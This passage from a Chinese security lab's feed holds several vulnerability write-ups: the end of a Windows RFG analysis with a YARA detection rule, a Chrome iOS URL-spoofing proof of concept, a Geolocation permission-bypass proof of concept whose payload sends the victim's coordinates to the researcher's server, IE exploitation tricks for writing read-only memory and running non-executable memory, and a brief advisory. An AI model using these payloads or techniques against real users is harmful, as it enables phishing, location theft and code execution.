    /* 0x0000 */ unsigned long ManySubsections : 1; /* bit position: 17 */
    /* 0x0000 */ unsigned long Enclave : 1; /* bit position: 18 */
    /* 0x0000 */ unsigned long DeleteInProgress : 1; /* bit position: 19 */
    /* 0x0000 */ unsigned long PageSize64K : 1; /* bit position: 20 */
    /* 0x0000 */ unsigned long RfgControlStack : 1; /* bit position: 21 */ 
    /* 0x0000 */ unsigned long Spare : 10; /* bit position: 22 */
  }; /* bitfield */
} MMVAD_FLAGS, *PMMVAD_FLAGS; /* size: 0x0004 */

typedef struct _MI_VAD_EVENT_BLOCK {
  /* 0x0000 */ struct _MI_VAD_EVENT_BLOCK* Next;
  union {
    /* 0x0008 */ struct _KGATE Gate;
    /* 0x0008 */ struct _MMADDRESS_LIST SecureInfo;
    /* 0x0008 */ struct _RTL_BITMAP_EX BitMap;
    /* 0x0008 */ struct _MMINPAGE_SUPPORT* InPageSupport;
    /* 0x0008 */ struct _MI_LARGEPAGE_IMAGE_INFO LargePage;
    /* 0x0008 */ struct _ETHREAD* CreatingThread;
    /* 0x0008 */ struct _MI_SUB64K_FREE_RANGES PebTebRfg;
    /* 0x0008 */ struct _MI_RFG_PROTECTED_STACK RfgProtectedStack;
  }; /* size: 0x0038 */
  /* 0x0040 */ unsigned long WaitReason;
  /* 0x0044 */ long __PADDING__[1];
} MI_VAD_EVENT_BLOCK, *PMI_VAD_EVENT_BLOCK; /* size: 0x0048 */

typedef struct _MI_RFG_PROTECTED_STACK {
  /* 0x0000 */ void* ControlStackBase;
  /* 0x0008 */ struct _MMVAD_SHORT* ControlStackVad;
} MI_RFG_PROTECTED_STACK, *PMI_RFG_PROTECTED_STACK; /* size: 0x0010 */

创建开启RFG保护的线程时,会调用 nt!MmSwapThreadControlStack设置线程的ETHREAD.UserFsBase。具体做法是通过MiLocateVadEvent检索对应的_MMVAD,然后通过如下计算设置线程的ETHREAD.UserFsBase:

ControlStackBase = MMVAD.Core.EventList.RfgProtectedStack.ControlStackBase
ControlStackLimitDelta = ControlStackBase - (MMVAD.Core.StartingVpnHigh * 0x100000000 + MMVAD.Core.StartingVpn ) * 0x1000
ETHREAD.UserFsBase = ControlStackLimitDelta

不同线程在Thread Control Stack上对应的Shadow Stack内存范围不同,如果当前线程对应的Shadow Stack内存范围是ControlStackBase ~ ControlStackLimit,则ControlStackLimit = _KTHREAD.StackLimit + ControlStackLimitDelta ,因此UserFsBase中实际存放的是ControlStackLimit与StackLimit的偏移值。这样,多个线程访问Shadow Stack时,使用的是Thread Control Stack上不同的内存区域,实际访问的内存地址为ETHREAD.UserFsBase + rsp。

6 实际使用

我们编写了一个简单的yara签名来检测带有RFG插桩的文件。

rule rfg {
    strings:
        $pe = { 4d 5a }
        $a = { 66 90 0F 1F 80 00 00 00 00 }
        $b = { C3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 C3 }
        $c = { E9 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 E9 }

    condition:
        $pe at 0 and $a and ($b or $c)
}

用法:

yara64.exe -r -f rfg.yara %SystemRoot%

从结果中可以看出,在这个版本的Windows里,大部分系统文件已经带有RFG支持了。
这里我们用IDA Pro和WinDbg检查一个带RFG的calc.exe。

.text:000000014000176C wWinMain
.text:000000014000176C                 xchg    ax, ax
.text:000000014000176E                 nop     dword ptr [rax+00000000h]

动态指令替换之前的入口点

0:000> u calc!wWinMain
calc!wWinMain:
00007ff7`91ca176c 488b0424        mov     rax,qword ptr [rsp]
00007ff7`91ca1770 6448890424      mov     qword ptr fs:[rsp],rax

动态指令替换之后的入口点

7 参考资料

Exploring Control Flow Guard in Windows 10 Jack Tang, Trend Micro Threat Solution Team
http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-flow-guard-in-windows10.pdf

]]>
Chrome浏览器地址栏欺骗漏洞(CVE-2016-1707) http://xlab.tencent.com/cn/2016/10/11/cve-2016-1707-chrome-address-bar-url-spoofing-on-ios/ Tue, 11 Oct 2016 09:00:46 +0000 http://xlab.tencent.com/cn/?p=78 继续阅读“Chrome浏览器地址栏欺骗漏洞(CVE-2016-1707)”]]> Chrome浏览器地址栏欺骗漏洞(CVE-2016-1707),这个漏洞笔者于2016年6月报告给Google,现在把漏洞细节分享给大家。URL Spoofing漏洞可以伪造一个合法的网站地址。攻击者可以利用这个漏洞对用户发起网络钓鱼攻击。

受影响版本:Chrome < v52.0.2743.82,IOS < v10

0x01 漏洞详情

POC:

<script>

payload="PGJvZHk+PC9ib2R5Pg0KPHNjcmlwdD4NCiAgICB2YXIgbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHR0cHM6Ly9nbWFpbC5jb206Oic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTsNCiAgICBsaW5rLmNsaWNrKCk7DQo8L3NjcmlwdD4=";

function pwned() {
    var t = window.open('https://www.gmail.com/', 'aaaa');
    t.document.write(atob(payload));
    t.document.write("<h1>Address bar says https://www.gmail.com/ - this is NOT https://www.gmail.com/</h1>");
}

</script>

<a href="https://hack.com::/"  target="aaaa" onclick="setTimeout('pwned()','500')">click me</a><br>

那么这个漏洞是如何发生的呢?笔者现在来解读一下整个代码的加载过程。首先点击click me这个链接,浏览器去打开一个name为aaaa的新窗口,这个页面去加载“https://hack.com::”,这个地址可以随便写。500微秒后运行pwned(),在aaaa窗口打开https://www.gmail.com,当然这个URL可以为空。到现在为止,一切代码运行都很正常,接下来这段代码就是触发漏洞的核心代码。

base64加密的这段代码:

base64 payload code:

<body></body>

<script>
    var link = document.createElement('a');
    link.href = 'https://gmail.com::';
    document.body.appendChild(link);
    link.click();
</script>

接下来这段代开始在aaaa窗口页面去提交(commit)https://gmail.com::,这是一个很奇妙的事情,https://gmail.com::本是一个无效的地址,如何去被提交呢。在尝试了多种方法后,笔者发现使用a标签点击的方式可以做到(window.open/location则不可以),并且使这个无效地址处在了一个等待状态(pending status)。此时,实际Chrome是加载了about:blank(已经到了about:blank域),但在处理最后URL地址栏中的显示时,Chrome却选择了处在等待状态的https://gmail.com:: 作为最后的提交地址,加载后的https://gmail.com::在URL地址栏中会以https://gmail.com这样的方式呈现,两个::会被隐藏。此时,整个加载过程完成。一个完美的URL Spoofing漏洞就这样产生了。

Online demo:

http://xisigr.com/test/spoof/chrome/1.html

http://xisigr.com/test/spoof/chrome/2.html

如果你还没有升级版本,Chrome < v52.0.2743.82,IOS < v10,那么可以尝试运行笔者网站上的这两个DEMO。

0x02如何修复

这个漏洞最关键的地方是,Chrome允许在Web页面加载的时候,提交一个无效的地址所导致。Google也是基于此给出了补丁文件,就是在加载Web页面的时候不允许提交无效地址,如果检测到是无效地址,则直接使当前URL为about:blank。

[self optOutScrollsToTopForSubviews];

   // Ensure the URL is as expected (and already reported to the delegate).
-  DCHECK(currentURL == _lastRegisteredRequestURL)  //之前只是判断了当前URL和最后请求的URL是否相同
+  // If |_lastRegisteredRequestURL| is invalid then |currentURL| will be
+  // "about:blank".
+  DCHECK((currentURL == _lastRegisteredRequestURL) || 
+         (!_lastRegisteredRequestURL.is_valid() && //增加判断是否是一个无效的URL
+          _documentURL.spec() == [url::kAboutBlankURL)](url::kAboutBlankURL)))  
       << std::endl
       << "currentURL = [" << currentURL << "]" << std::endl
       << "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL << "]";

   // This is the point where the document's URL has actually changed, and
   // pending navigation information should be applied to state information.
   [self setDocumentURL:net::GURLWithNSURL([_webView URL])];
-  DCHECK(_documentURL == _lastRegisteredRequestURL);
+
+  if (!_lastRegisteredRequestURL.is_valid() &&
+      _documentURL != _lastRegisteredRequestURL) {
+    // if |_lastRegisteredRequestURL| is an invalid URL, then |_documentURL|
+    // will be "about:blank".
+    [[self sessionController] updatePendingEntry:_documentURL];
+  }

+  DCHECK(_documentURL == _lastRegisteredRequestURL ||
+         (!_lastRegisteredRequestURL.is_valid() &&
+          _documentURL.spec() == url::kAboutBlankURL));
+
   self.webStateImpl->OnNavigationCommitted(_documentURL);
   [self commitPendingNavigationInfo];
   if ([self currentBackForwardListItemHolder]->navigation_type() ==

0x03 披露时间

2016/6/22 报送给Google,https://bugs.chromium.org/

2016/6/22 Google确认漏洞,漏洞级别High

2016/7/14 Google确认奖励$3000

2016/7/20 Google发布安全公告,CVE-2016-1707

2016/10/2 Google公开漏洞

0x04 相关链接

[1] https://googlechromereleases.blogspot.com/2016/07/stable-channel-update.html

[2] https://bugs.chromium.org/p/chromium/issues/detail?id=622183

[3] https://chromium.googlesource.com/chromium/src/+/5967e8c0fe0b1e11cc09d6c88304ec504e909fd5

]]>
CVE-2016-1779 技术分析及其背后的故事 http://xlab.tencent.com/cn/2016/04/19/cve-2016-1779/ Tue, 19 Apr 2016 08:59:36 +0000 http://xlab.tencent.com/cn/?p=76 继续阅读“CVE-2016-1779 技术分析及其背后的故事”]]> Geolocation API被用来获取用户主机设备的地理位置,并且它有一套完整的保护用户隐私的机制。但CVE-2016-1776这个漏洞,绕过了Geolocation认证源的安全机制,并有可能导致用户隐私泄漏。本文在分析CVE-2016-1779漏洞成因的基础上探讨了Geolocation隐私机制,其中穿插的获取苹果公司的地理位置的“故事”,对用户隐私更是一个警醒。

0x01 CVE-2016-1776

在IOS中Geolocation认证是由UIWebView来做处理,攻击者可以绕过同源策略使认证框在任意域弹出,并且当用户点击允许后可获取到用户的地理位置。在IOS平台中,Safari和Chrome都受到这个漏洞的影响。

受影响产品:WebKit in Apple iOS < 9.3 and Safari < 9.1,Chrome

漏洞修复日期:2016/3/21

漏洞公告:

https://support.apple.com/HT206166

https://support.apple.com/HT206171

http://lists.apple.com/archives/security-announce/2016/Mar/msg00000.html

http://lists.apple.com/archives/security-announce/2016/Mar/msg00005.html

0x02 漏洞分析

2.1 Geolocation API的安全隐私策略

在W3C官方文档描述中,可以清晰的了解到Geolocation API的安全隐私策略。其中下面这条和我们今天分析的CVE-2016-1776相关

4.1 Privacy considerations for implementers of the Geolocation API

User agents must not send location information to Web sites without the express permission of the user. User agents must acquire permission through a user interface, unless they have prearranged trust relationships with users, as described below. The user interface must include the host component of the document’s URI[URI]. Those permissions that are acquired through the user interface and that are preserved beyond the current browsing session (i.e. beyond the time when the browsing context[BROWSINGCONTEXT] is navigated to another URL) must be revocable and user agents must respect revoked permissions.

https://www.w3.org/TR/geolocation-API/

这条安全策略明确指出:“Geolocation必须经过用户的许可才可以使用,除非已经预先确认了信任关系。浏览器在使用Geolocation时会弹出一个认证框来通知用户,并且在这个认证框的UI上必须包含此页面的URI。”对于这条策略,当下主流浏览器都已经实现。

2.2 认证框的源

触发Geolocation的认证框很简单,我们只要运行下面的代码即可,前提是之前没有允许当前域获取Geolocation。

<script>
function success(position) {}
navigator.geolocation.getCurrentPosition(success);
</script>

例如:http://www.test.com/geo.html。运行后,浏览器会在当前页面上弹出认证对话框,对话框的UI上会显示来源:www.test.com

2.3. PoC Exploit Code of CVE-2016-1779

在2.2中是触发Geolocation认证源的一个简单流程。从这个过程中,我有了以下的想法。

  • 可否改变认证源。
  • 如果可以改变,是否可以为空。

于是,按照这个思路,开始了我的测试之旅。在这个过程中,发现IOS下Safari和Chrome在使用data:来解析这段代码时,认证源头将为“://”
data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3VjY2Vzcyhwb3NpdGlvbikge30KbmF2aWdhdG9
yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihzdWNjZXNzKTsKPC9zY3JpcHQ+Cg==

接下来,我进一步优化了POC,如下

<title>test</title>
<script>
function geo(){
window.open('http://www.google.com');
location = 'data:text/html;base64,PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ +CjxtZXRhIGNoYXJzZXQ9dXRmLTggLz4KPHRpdGxlPmdlb2xvY2F0aW9uPC90aXRsZT4KPGJvZHk+CjxzY3JpcHQ +CmZ1bmN0aW9uIHN1Y2Nlc3MocG9zaXRpb24pIHsKZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlbW90ZScpLnNyYz0iaHR0cDovL3hpc2lnci5jb20vdGVzdC9nZW8v Z2V0LnBocD9nZW9sb2NhdGlvbj0iKyItLS0tLS0iK2VuY29kZVVSSUNvbXBvbmVudChwb3NpdGlvbi5jb29yZHMubGF0aXR1ZGUpKyIsIitlbmNvZGVVUklDb21wb25lb nQocG9zaXRpb24uY29vcmRzLmxvbmdpdHVkZSk7CiB9Cm5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oc3VjY2Vzcyk7Cjwvc2NyaXB0Pgo8aW 1nIGlkPSJyZW1vdGUiIHNyYz0iIiB3aWR0aD0wIGhlaWdodD0wPgo8L2JvZHk+CjwvaHRtbD4=';
}
</script>
<button onclick='geo()'>Click Me</button>

Base64 decode:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset=utf-8 />
<title>geolocation</title>
<body>
<script>

function success(position) {
document.getElementById('remote').src="http://xisigr.com/test/geo/get.php?geolocation="+"------"+encodeURIComponent(position.coords.latitude)+","+encodeURIComponent(position.coords.longitude);
}

navigator.geolocation.getCurrentPosition(success);
</script>
<img id="remote" src="" width=0 height=0>
</body>
</html>

还记得前面W3C官方文档对Geolocation认证源的描述吧,“认证框上的URI源,必须要和当前页面的源相同”。此时,我们已经成功的绕过了同源策略,使data:域的Geolocation认证源在其他任意域弹出。当用户点击允许后,系统也并没有检查认证UI上的源和当前页面源是否相同,于是地理位置就被发送到攻击者服务器了。

当时,我是先把这个漏洞报送给了Google,但由于Geolocation的认证100%是由IOS UIWebView来控制,所以Google对IOS平台下Chrome出现的这个问题也没有太好的解决方法。之后,我把这个漏洞提交给了APPLE。APPLE于今年3月21日在IOS 9.3版本中修复了这个漏洞。

0x03 廉价的苹果总部地理位置? ?

在2016/1/6,我的服务器上收到了一些地理位置回传信息。因为在我提交的POC中明确的指出,使用自己的服务器搭建了一个漏洞验证环境,如果触发,数据则会传到我的服务器上。

在查阅后发现,37.332578830316436,-122.03068509201906,显示的正式APPLE的美国总部地址。

从获取到的返回数据可以发现,苹果研究人员分别在2016/1/6、2016/1/7、2016/1/8、2016/1/10、2016/1/20、2016/1/22、2016/1/28这7个时间段触发了POC,而且地址是相同的,都是在美国苹果总部。可能当时验证的苹果研究人员,并没有自己搭建漏洞验证环境,而是直接使用了我提供的POC中的原有环境,所以导致在验证漏洞的时候地理位置回传到了我的服务器上。

他们应该知道到这个问题,因为在POC中明确指出数据会回传到这个地址xisigr.com/test/geo/info.txt。但是,他们还是义无反顾的触发了7次漏洞,是疏忽大意还是并不在意苹果总部的地理位置被泄漏出去,因为这个地址在网上都可以任意查到。但就算是这样,我还是很惊讶,苹果测试人员的地理位置和他们的作息时间就这样被获取到了。

这当然不仅仅是一个故事,只是想提醒大家,在真实复杂的网络攻击中,蛛丝马迹的信息有时会成为“千里之堤毁于蚁穴”的突破口。不要让类似于地理位置这样重要的隐私信息变得如此廉价。

0x04 关于Geolocation其他想说的

4.1 HTTPS

Geolocation API被主流浏览器支持,已经有些年头,Geolocation API(getCurrentPosition()、watchPosition())一直支持可以在HTTP协议中使用。但随着互联网隐私安全越来越被重视,且还赶上了各大浏览器巨头们呼吁全网HTTPS的这样一个大背景,Geolocation API被提到了一个非安全源HTTPS中不能使用的高度。终于Google最先做出了表率,在2016年4月13日Chrome 50升级更新后,Chrome中不再支持非安全源HTTP下使用Geolocation API。

4.2 警惕插件扩展

Geolocation上的浏览器插件有很多,他们在使用“Geolocation”时对权限并没有考虑的那么周全,导致有可能泄漏用户的隐私。

  • 认证源为空的攻击场景

在Firefox浏览器中,有一款地理定位的插件Geolocater,在最新版Firefox安装上后,会导致Geolocation认证源失效,也就是源变成了空。这是很可怕的事情,攻击者利用后,可以欺骗用户点击地理位置认证确认,进而获取到用户的地理位置。

Geolocater地址:https://addons.mozilla.org/en-us/firefox/addon/geolocater/

我们来看下当认证源为空时的一个攻击场景:

假设www.test.com很安全,没有任何安全风险。且页面中存在这样的代码

----www.test.com----
<iframe src="http://id.info.com">
<script src=”http://cdn.info.com”>
…………
---------------------------

如果攻击者在info.com上发现了XSS,并且注入Geolocation API。那么当用户访问www.test.com的时候,会弹出Geolocation认证对话框,因为UI中没有源的提示,用户以为是test.com域发出的请求,进而点击允许获取地理位置。这时,攻击者就获取到了用户的地理位置。

  • 彻底干掉认证+绕过安全源

在Chrome下有一款叫“manual-geolocation”的插件。在我看来它就是Geolocation安全策略的终结者。当用户安装这个插件后,所有网站在使用Geolocation时将不再需要用户确认,而且在Chrome 50中可以在非安全源HTTP下使用。当这个插件开启时,对用户来说就是一个噩梦开始!

manual-geolocation插件地址:https://chrome.google.com/webstore/detail/manual-geolocation/jpiefjlgcjmciajdcinaejedejjfjgki

]]>
异常中的异常——借助系统异常处理特例实现匪夷所思的漏洞利用 http://xlab.tencent.com/cn/2016/04/05/exception-in-exception/ Tue, 05 Apr 2016 08:58:01 +0000 http://xlab.tencent.com/cn/?p=74 继续阅读“异常中的异常——借助系统异常处理特例实现匪夷所思的漏洞利用”]]> 内存的读、写、执行属性是系统安全最重要的机制之一。通常,如果要改写内存中的数据,必须先确保这块内存具有可写属性,如果要执行一块内存中的代码,必须先确保这块内存具有可执行属性,否则就会引发异常。然而,Windows系统的异常处理流程中存在一些小小的特例,借助这些特例,就可以知其不可写而写,知其不可执行而执行。

0x01 直接改写只读内存

我在CanSecWest 2014的演讲《ROPs are for the 99%》中介绍了一种有趣的IE浏览器漏洞利用技术:通过修改JavaScript对象中的某些标志,从而关闭安全模式,让IE可以加载类似WScript.Shell这样的危险对象,从而执行任意代码而完全无需考虑DEP。

不过,修改SafeMode标志并非是让IE可以加载危险对象的唯一方法。

IE浏览器的某些界面实际上是用HTML实现的,这些HTML通常存储在ieframe.dll的资源中,例如:打印预览是res://ieframe.dll/preview.dlg,整理收藏夹是res://ieframe.dll/orgfav.dlg,页面属性则是 res://ieframe.dll/docppg.ppg。

IE浏览器会为这些HTML创建独立的渲染实例,以及独立的JavaScript引擎实例。而为这些HTML创建的JavaScript引擎实例中,SafeMode本身就是关闭的。

所以,只需将JavaScript代码插入到ieframe.dll的资源中,然后触发IE的相应功能,被插入的代码就会被当作IE自身的功能代码在SafeMode关闭的JavaScript实例下执行。

不过,PE的资源节是只读的,如果试图用某个能对任意地址进行写入的漏洞直接改写ieframe.dll的资源,会触发写访问违例:

eax=00000041 ebx=1e2e31b0 ecx=00000000 edx=00000083 esi=1e2e31b0 edi=68b77fe5
eip=69c6585f esp=0363ac00 ebp=0363ac84 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
jscript9!Js::JavascriptOperators::OP_SetElementI+0x117:
69c6585f 88040f          mov     byte ptr [edi+ecx],al      ds:002b:68b77fe5=76
0:008> !exchain
0363b0f0: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363b648: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363bab8: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363bb78: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+28c0 (69c71564)
0363bbc0: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+2898 (69c7150f)
0363bc44: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+276a (69d0dedd)
0363c588: MSHTML!_except_handler4+0 (66495fa4)
  CRT scope  0, filter: MSHTML! ... Omitted... (6652bbe8) 
                func:   MSHTML!... Omitted... (6652bbf1)
0363c62c: user32!_except_handler4+0 (7569a61e)
  CRT scope  0, func:   user32!UserCallWinProcCheckWow+123 (75664456)
0363c68c: user32!_except_handler4+0 (7569a61e)
  CRT scope  0, filter: user32!DispatchMessageWorker+15e (756659b7)
                func:   user32!DispatchMessageWorker+171 (756659ca)
0363f9a8: ntdll!_except_handler4+0 (776a71f5)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (776a74d0)
                func:   ntdll!__RtlUserThreadStart+63 (776a90eb)
0363f9c8: ntdll!FinalExceptionHandler+0 (776f7428)

在上面的异常处理链中,mshtml.dll中的异常处理函数最终会调用kernel32!RaiseFailFastException()。如果g_fFailFastHandlerDisabled标志是false,就会终止当前进程:

int __thiscall RaiseFailFastExceptionFilter(int this) {
  signed int **v1; // esi@1
  CONTEXT *v2; // ST04_4@2
  signed int v3; // eax@2
  UINT v4; // ST08_4@4
  HANDLE v5; // eax@4

  v1 = (signed int **)this;
  if ( !g_fFailFastHandlerDisabled )
  {
    v2 = *(CONTEXT **)(this + 4);
    g_fFailFastHandlerDisabled = 1;
    RaiseFailFastException(*(PEXCEPTION_RECORD *)this, v2, 2u);
    v3 = 1653;
    if ( *v1 )
      v3 = **v1;
    v4 = v3;
    v5 = GetCurrentProcess();
    TerminateProcess(v5, v4);
  }
  return 0;
}

但是,如果g_fFailFastHandlerDisabled标志为true,异常处理链就会执行到 kernel32!UnhandledExceptionFilter() ,并最终执行kernel32!CheckForReadOnlyResourceFilter() :

int __stdcall CheckForReadOnlyResourceFilter(int a1) {
  int result; // eax@2

  if ( BasepAllowResourceConversion )
    result = CheckForReadOnlyResource(a1, 0);
  else
    result = 0;
  return result;
}

如果BasepAllowResourceConversion 也为true,CheckForReadOnlyResource()函数就会将试图写入的那个内存分页的属性设为可写,然后正常返回。

也就是说,如果先将g_fFailFastHandlerDisabled和BasepAllowResourceConversion这两个标志改写为true,之后就可以直接修改ieframe.dll的资源,而不必担心其只读属性的问题,操作系统会处理好一切。

另外还有个小问题。如果像上面所说的那样触发了一次CheckForReadOnlyResource()中的修改内存属性的操作,内存属性的RegionSize也会变成一个内存分页的大小,通常是0x1000。而IE在以ieframe.dll中的HTML资源创建渲染实例前,mshtml!GetResource()函数会检查资源所在内存的RegionSize属性,如果该属性小于资源的大小,就会返回失败。然而,只需将要改写的资源从头到尾全部改写一遍, RegionSize就会相应变大,从而绕过这个检查。

这样,利用Windows写访问异常对PE文件资源节开的绿灯,就可以写出非常奇妙的漏洞利用代码。

0x02 直接执行不可执行内存

我在VARA 2009的演讲《漏洞挖掘中的时间维度》中介绍了一种较为少见的模块地址释放后重用漏洞。比如一个程序中线程A调用了模块X的函数,模块X又调用了模块Y的函数。模块Y的函数由于某种原因,耗时比较长才能返回。在它返回前,如能让线程B将模块X释放,那么模块Y的函数返回时,返回地址将是无效的。当时发现在Opera浏览器中可以利用Flash模块触发这种漏洞,一款国产下载工具也有类似问题。

另外还有不少其它类型的漏洞,最终表现也和上述问题一样,可以执行某个固定的指针,但无法控制该指针的值。在无DEP环境下,这些漏洞并不难利用,只要喷射代码到会被执行的地址即可。而在DEP环境下,这些漏洞通常都被认为是不可能利用的。

但如果在预期会被执行到的地址喷射下面这样的数据:

typedef struct _THUNK3 {
    UCHAR MovEdx;       // 0xba         mov edx, imm32
    LONG EdxImmediate; 
    UCHAR MovEcx;       // 0xb9         mov ecx, imm32
    LONG EcxImmediate; // <- put your Stack Pivot here
    USHORT JmpEcx;      // 0xe1ff       jmp ecx
} Thunk3;

即使在DEP环境下,尽管堆喷射的内存区域确定无疑不可执行,但你会惊奇地发现系统似乎还是执行了这些指令,跳到ecx所设定的地址去了。只要把ecx设为合适的值,就可以跳往任何地址,继而执行ROP链。

这是因为Windows系统为了兼容某些老版本程序,实现了一套叫ATL thunk emulation的机制。系统内核在处理执行访问异常时,会检查异常地址处的代码是否符合ATL thunk特征。对符合ATL thunk特征的代码,内核会用KiEmulateAtlThunk()函数去模拟执行它们。

ATL thunk emulation机制会检查要跳往的地址是否位于PE文件中,在支持CFG的系统上还会确认要跳往的地址能否通过CFG检查。同时,在Vista之后的Windows默认 DEP policy 下,ATL thunk emulation机制仅对没有设置 IMAGE_DLLCHARACTERISTICS_NX_COMPAT的程序生效。如果程序编译时指定了/NXCOMPAT参数,就不再兼容ATL thunk emulation了。不过还是有很多程序支持ATL thunk emulation,例如很多第三方应用程序,以及32 位的 iexplore.exe。所以,类似Hacking Team泄露邮件中的CVE-2015-2425,如能用某种堆喷成功抢占内存,也可借此技巧实现漏洞利用。

这样,利用系统异常处理流程中的ATL thunk emulation能直接执行不可执行内存的特性,就可以让一些通常认为无法利用的漏洞起死回生。

(本文大部分内容完成于2014年10月,涉及的模块地址、符号信息等基于Windows Technical Preview 6.4.9841 x64 with Internet Explorer 11。)

参考:

[1] ROPs are for the 99%, CanSecWest 2014
[2] Bypassing Browser Memory Protections
[3] (CVE-2015-2425) “Gifts” From Hacking Team Continue, IE Zero-Day Added to Mix
[4] 《漏洞挖掘中的时间维度》,VARA 2009

]]>
Internet Explorer 数组越界访问漏洞 http://xlab.tencent.com/cn/2015/12/30/xlab-15-010/ Wed, 30 Dec 2015 03:18:45 +0000 http://xlab.tencent.com/cn/?p=130 继续阅读“Internet Explorer 数组越界访问漏洞”]]> XLAB ID: XLAB-15-010     

CVE ID: CVE-2015-2494     

Patch Status: 已修复

Vulnerability Details:
通过对DOM对象的属性进行一定操作,攻击者可使Internet Explorer对数组进行越界读取操作。若成功利用该漏洞,攻击者能够以当前用户权限执行任意代码。

Disclosure Timeline:

2015/07/03 向Micorsoft (secure@Micorsoft.com)提供漏洞细节
2015/07/04 Micorsoft回复正在验证漏洞细节,内部漏洞编号case 30590
2015/07/21 Micorsoft回复已经成功重现该漏洞,正在研究漏洞修复方案
2015/08/18 Micorsoft询问致谢方式
2015/09/09 Micorsoft在MS15-094中修复该漏洞

Credit:
漏洞发现者:   Kai Kang

]]>